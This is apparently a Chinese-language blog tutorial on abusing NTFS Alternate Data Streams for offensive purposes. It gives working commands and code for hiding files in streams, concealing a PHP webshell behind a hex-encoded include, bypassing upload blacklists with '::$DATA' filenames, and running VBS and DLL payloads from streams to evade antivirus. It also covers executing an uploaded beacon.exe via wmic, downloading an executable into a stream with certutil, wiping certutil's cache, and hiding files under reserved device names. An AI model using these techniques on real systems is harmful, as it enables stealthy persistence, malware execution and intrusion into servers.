ADS:Alternate DataStreams,全称 NTFS 交换数据流,是 NTFS 磁盘格式的一个特性,在 NTFS 文件系统下,每个文件都可以存在多个数据流。简单来说,就是其他文件可以寄宿在某个文件身上。利用 ADS 数据流可以做很多有趣的事情

在NTFS分区创建ADS数据流文件有两种形式:

  • 一是指定宿主文件;
  • 二是创建单独的ADS文件。

创建的指令有两个:echo 和 type

  • echo 用于常规字符
  • type 用于将文件附加到某个文件

使用方法

1. 使用宿主文件

1
echo test > 1.txt:flag.txt

正常用 dir 是无法查看到的,可以使用 dir /r

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
C:\test>dir
驱动器 C 中的卷没有标签。
卷的序列号是 46BD-3363

C:\test 的目录

2025/07/22 03:53 <DIR> .
2025/07/22 03:53 <DIR> ..
2025/07/22 03:53 0 1.txt
1 个文件 0 字节
2 个目录 45,771,202,560 可用字节

C:\test>dir /r
驱动器 C 中的卷没有标签。
卷的序列号是 46BD-3363

C:\test 的目录

2025/07/22 03:53 <DIR> .
2025/07/22 03:53 <DIR> ..
2025/07/22 03:53 0 1.txt
9 1.txt:flag.txt:$DATA
1 个文件 0 字节
2 个目录 45,771,161,600 可用字节

文件内容可以使用命令

1
notepad 1.txt:flag.txt

此类文件可以通过直接删除宿主文件清除。

2. 单独的 ADS 数据流文件

这类可以通过以下命令来创建:

1
echo hide > :mo.txt

创建后该目录内是没有文件的,并且用当前目录下的命令行也无法查看,因为它是依赖于文件夹的ADS数据流文件

因此需要退到上一级目录去查看

1
2
cd ../
notepad test

webshell后门

由于 Windows 系统对 ADS 文件都没有执行权限,因此隐藏此类 webshell 需要用到文件包含来配合

首先创建一个被包含文件:index.php:mo.txt

在里面藏一个 phpinfo

1
echo ^<?php phpinfo();?^> > index.php:mo.txt

为了避免被查,给文件名进行 hex 编码,最后创建一个实现文件包含功能的 include.php

1
2
3
4
5
<?php
$a="696E6465782E7068"."703A6D6F2E747874";
$b="a";
include(PACK('H*',$$b))
?>

文件上传

当然这里也可以借助此数据流实现 Bypass 上传黑名单限制

当我们上传数据流文件时,形如 test.php::$DATA 、test.php:a.txt 这样的后缀, windows 系统就会需要创建一个对应的宿主文件 test.php ,同时假设我们需要上传的文件内容为:

1
<?php phpinfo();?>

根据上传文件名不同,会产生不同效果

test.php:a.jpg

效果:生成 test.php,文件内容为空

test.php::$DATA

效果:生成 test.php, 文件内容为 <?php phpinfo();?>

test.php::$INDEX_ALLOCATION

效果:生成 test.php 文件夹

test.php::$DATA\0.jpg

效果:生成 0.jpg,文件内容为 <?php phpinfo();?>

上传文件名为 Test.php::$INDEX_ALLOCATION 时会生成对应的文件夹,那么以理论上来说是可以用于突破 UDF 提权时无法创建文件夹的问题,但是我测试的时候并不可以,不知道是为什么,严重怀疑被参考文献骗了┭┮﹏┭┮

病毒免杀

windows的数据流文件都被禁止了执行权限,因此可以使用 wscript 来运行 vbs,在C盘的根目录使用命令:

1
type 1.vbs > :2.vbs

可以创建 C 盘存在的数据流文件 c::2.vbs,没有工具是无法清除的,而且也可以绕过部分安全厂商的查杀

这个 vbs 文件也是可以运行的

1
wscript c::2.vbs

dll 文件同理:

1
2
type test.dll > 1.txt:ms
regsvr32 1.txt:ms

清除方式:用winhex或者删除宿主文件或者借助相关工具如 IceSword 也可进行删除。

实战

通过文件上传执行

在 C:\WINDOWS\debug\WIA 的目录下(这个目录常被用于 Dropper(下发payload)或免杀执行)

上传文件到 ADS 数据流

1
$upload /tmp/beacon.exe \\.\c:\WINDOWS\debug\WIA\test:aa.exe

执行

1
2
3
$wmic process call create \\.\c:\WINDOWS\debug\WIA\test:aa.exe

$execute -cH -f "\\\\.\\c:\\WINDOWS\\debug\\WIA\\test:aa.exe" (也可以使用msf来执行)

通过文件下载执行

利用 certutil 从 HTTP 下载一个文件并直接写入目标 ADS

1
$certutil -urlcache -split -f http://url/test.exe \\.\c:\WINDOWS\debug\WIA\test:aa.exe

删除certutil缓存

1
$certutil.exe -urlcache -split -f http://url/test.exe delete

进一步隐藏

如果想要 dir/s 里看不到 ADS,可以使用特殊的文件名称:

1
2
3
4
5
\\.\C:\test\COM1
\\.\C:\test\COM2
\\.\C:\test\COM3-8
\\.\C:\test\COM9
\\.\C:\test\nul

并且这些文件是不可以直接在UI界面删除的,要删除的话使用如下命令:

1
del \\.\C:\test\nul